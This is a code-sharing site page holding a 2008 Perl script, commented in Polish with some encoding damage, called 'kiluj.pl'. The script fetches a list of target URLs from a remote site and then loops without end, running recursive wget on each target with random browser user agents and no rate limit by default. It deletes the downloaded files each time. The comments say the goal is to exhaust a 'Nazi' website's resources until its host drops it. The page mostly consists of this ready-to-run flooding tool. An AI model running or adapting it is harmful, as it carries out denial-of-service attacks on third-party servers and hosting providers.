The Code-Bin
Links
Home
Add your code!
All Listings
About
Latest Entry
Featured Scripts
Author's Website
Latest Entries
FFMPEG Thumbnail Scr...
PHP, 0.8KB
Jul. 29, 10:24pm
John
Z80 Assembler, 190 bytes
Feb. 17, 3:36am
John
Z80 Assembler, 176 bytes
Sep. 13, 2:19am
John
Z80 Assembler, 77 bytes
Sep. 13, 2:18am
John
Z80 Assembler, 209 bytes
Sep. 13, 2:17am
untitled Perl Code
Posted by: X | March 5, 2008 @ 4:43am
Perl Code
[
Download
]
#!/usr/bin/perl use warnings; use strict; # Skrypt kiluj.pl uruchamiajacy wget w celu pogn��bienia nazioli # copyleft 2008 GNU GPL # napisano po pierwsze na kolanie, po drugie w perlu ;-) # UWAGA! Je��li strona padnie i b��dzie pojawia�� si�� informacja od providera, że site zosta�� zamkni��ty # nie powinno si�� dalej używa�� skryptu! Gn��bienie providera nie jest dobre i nic nie da. # chodzi tylko o to, żeby ten nie chcia�� hostowa�� strony nazioli! my $limit = "0"; # ogranicza predko���� transferu w ko��cu nei chcemy gn��bi�� siebie # 0 - bez limitu # 100 - 100B/s (stanowczo za wolno) # 20k - 20kB/s (wystarczy) my $listaURL = "http://kiluj.pl/lista.txt"; # plik z list�� URLi do kilowania my @URLs; # adresy z których pobierane b��d�� dane my @UAs = ( # UA do losowania. TYLKO popularne UA, jak chca niech blokuja popularne przegladarki # co za roznica czy nie ma ich strony czy 90% użytkowników jej nie widzi z # powodu blokady UA "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12", "Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12", "Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", ); my $download_counter = 0; #co�� dla poprawienia humoru my $files_counter = 0; system ("wget", "-q", "$listaURL"); # pobiera list�� adresów do kilowania! if ( $? == 256 ) { warn ("Brak pliku z list�� URL do pobrania!\nUżyj�� starej (je��li istnieje) ale sprawdź na stronie http://www.kiluj.pl co si�� dzieje.\n\n"); } # wczytuj�� list�� URLi open ( FH, "<", "kiluj.pl/lista.txt" ) or die ( "Brak listy URL do gn��bienia, może strona nazioli leży i nawet nie kwiczy?\nSprawdź co si�� dzieje na http://www.kiluj.pl\n" ); while ( <FH> ) { chomp; push @URLs, $_ if ( !/^#/ ); } close FH; # no to targamy dane :D while ( ) { foreach ( @URLs ) { my $UA = $UAs[int(rand($#UAs+1))]; print "Pobieram dane z: $_ ... \n"; system ( "wget", # odpalam wget "-rq", # reqursive quiet "--no-cache", # wylaczam cache "-U \"$UA\"", # zmieniam User Agent (udaj�� przegl��dark��) "--limit-rate=$limit", # limit pr��dko��ci pobierania "--directory-prefix=TMP", # pobieram dane do katalogu TMP "$_" ); system ( "rm", "-rf", "./TMP/" ); } print "\nNo to od nowa!\n"; }
Syntax Highlighting
[
Open in new window
]
Author Comments
none
Rating
4.53 / 8
254 Votes
http://codebin.yi.org/118
page generated in 0.00 seconds